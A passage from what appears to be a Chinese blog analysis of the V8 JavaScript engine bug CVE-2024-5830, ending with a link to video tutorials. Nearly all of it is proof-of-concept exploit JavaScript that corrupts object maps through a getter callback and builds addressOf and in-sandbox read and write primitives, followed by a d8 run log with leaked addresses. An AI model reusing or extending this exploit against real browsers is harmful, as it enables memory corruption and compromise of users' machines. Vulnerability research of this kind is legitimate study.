pppp490:490, pppp491:491, pppp492:492, pppp493:493, pppp494:494, pppp495:495, pppp496:496, pppp497:497, pppp498:498, pppp499:499, pppp500:500, pppp501:501, get pppp502(){ return callback();}}; const nums = 502 let source2 = {}; for (let i = 0; i < nums+1; i++) { eval(`source2.${prefix}${i} = ${i}`); } let source3 = { pppp0: 1, pppp1: 1, pppp2: 1, pppp3: 1.1, // ===> construct deprecated_map 【1】 get pppp4() { // ===> fill transition tree 【2】 return 1; } }; function cloneic_mega(src) { var obj = { ...src, __proto__: null }; return obj; } function callback() { // print("[+] In callback"); // construct dict map 【3】 // pppp0 -> pppp1 -> pppp2 -> pppp3 -> pppp4 // -> pppp__0 // -> pppp__1 // -> pppp__2 // ...... // -> pppp_1535 const max = 1024 + 512; for (let i = 0; i < max; i++) { let tmp = cloneic_mega(source3); eval(`tmp.${prefix}__${i} = ${i}`); } // print("[+] Over callback"); // readline(); return arb_write_value; } print( "[+] GO" ); cloneic_mega(source2); cloneic_mega(source1); //%DebugPrint(big_object_array[1]); //readline(); var evil_array = big_object_array[1]; function addressOf(obj) { big_double_array[(fake_obj_addr-const_double_data_addr)/8 + 1] = pair_u32_to_f64(const_object_data_addr+0x10-8+1, 0x4); big_object_array[4] = obj; f64_to_u64(evil_array[0]); return u32[0]; } function read_cage(addr) { big_double_array[(fake_obj_addr-const_double_data_addr)/8 + 1] = pair_u32_to_f64(addr-8, 0x4); f64_to_u64(evil_array[0]); return u32[0]; } function write_cage(addr, val) { big_double_array[(fake_obj_addr-const_double_data_addr)/8 + 1] = pair_u32_to_f64(addr-8, 0x4); read_cage(addr); u32[0] = va1; evil_array[0] = f64[0]; } var test = [1.1, 2.2]; var test_address = addressOf(test); var map_address = read_cage(test_address); hexx( "address" , test_address); hexx( "map_address" , map_address); %DebugPrint(test); print( "[+] END!" ); /* xiaozaya@vm:~/rubbish/nn$ ./d8 poc.js --allow-natives-syntax [+] arb_write_value: 0x44414900 [+] GO [+] address: 0x21f111 [+] map_address: 0x18eb55 DebugPrint: 0xf150021f111: [JSArray] - map: 0x0f150018eb55 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x0f150018e4c9 <JSArray[0]> - elements: 0x0f150021f129 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS] - length: 2 - properties: 0x0f15000006fd <FixedArray[0]> - All own properties (excluding elements): { 0xf1500000d71: [String] in ReadOnlySpace: #length: 0x0f1500287a3d <AccessorInfo name= 0x0f1500000d71 <String[6]: #length>, data= 0x0f1500000069 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x0f150021f129 <FixedDoubleArray[2]> { 0: 1.1 1: 2.2 } 0xf150018eb55: [Map] in OldSpace - map: 0x0f15001837c9 <MetaMap (0x0f1500183819 <NativeContext[287]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - enum length: invalid - back pointer: 0x0f150018eb15 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x0f1500000a61 <Cell value= 1> - instance descriptors #1: 0x0f150018eae1 <DescriptorArray[1]> - transitions #1: 0x0f150018eb7d <TransitionArray[4]>Transition array #1: 0x0f1500000e35 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0f150018eb95 <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x0f150018e4c9 <JSArray[0]> - constructor: 0x0f150018e1c1 <JSFunction Array (sfi = 0xf150028cd95)> - dependent code: 0x0f150000070d <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 [+] END! */ |
更多【二进制漏洞- CVE-2024-5830 分析】相关视频教程:www.yxfzedu.com